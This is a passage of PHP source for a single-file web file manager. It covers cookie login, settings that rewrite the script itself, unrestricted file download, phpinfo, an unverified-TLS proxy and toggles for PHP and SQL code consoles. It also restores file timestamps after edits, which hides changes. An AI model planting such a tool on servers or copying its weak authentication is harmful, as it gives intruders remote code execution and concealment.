$auth_mydevice['login'].'|'.md5($auth_mydevice['password']), time() + (86400 * $auth_mydevice['days_authorization'])); $_COOKIE[$auth_mydevice['cookie_name']]=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']); } } if (!isset($_COOKIE[$auth_mydevice['cookie_name']]) OR ($_COOKIE[$auth_mydevice['cookie_name']]!=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language_benros).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth_mydevice['cookie_name']]); setcookie($auth_mydevice['cookie_name'], '', time() - (86400 * $auth_mydevice['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth_mydevice['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fmo_config = $_POST['fm_config']; setcookie('fm_config', serialize($fmo_config), time() + (86400 * $auth_mydevice['days_authorization'])); $_COOKIE['fm_config'] = serialize($fmo_config); $msg_now = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg_now .= __('File updated'); if ($_POST['fm_login']['login'] != $auth_mydevice['login']) $msg_now .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth_mydevice['password']) $msg_now .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth_mydevice = $_POST['fm_login']; } else $msg_now .= __('Error occurred'); if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg_now .= __('File updated'); } else $msg_now .= __('Error occurred'); if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg_now .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fmo_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,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"); } .file { background-image: url("data:image/png;base64,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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fmo_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fmo_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg_now)?'':'<tr><td class="row2" colspan="2">'.$msg_now.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fmo_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fmo_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fmo_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fmo_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_mydevice['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth_mydevice['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth_mydevice['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_mydevice['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_mydevice['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_mydevice['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fmo_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); 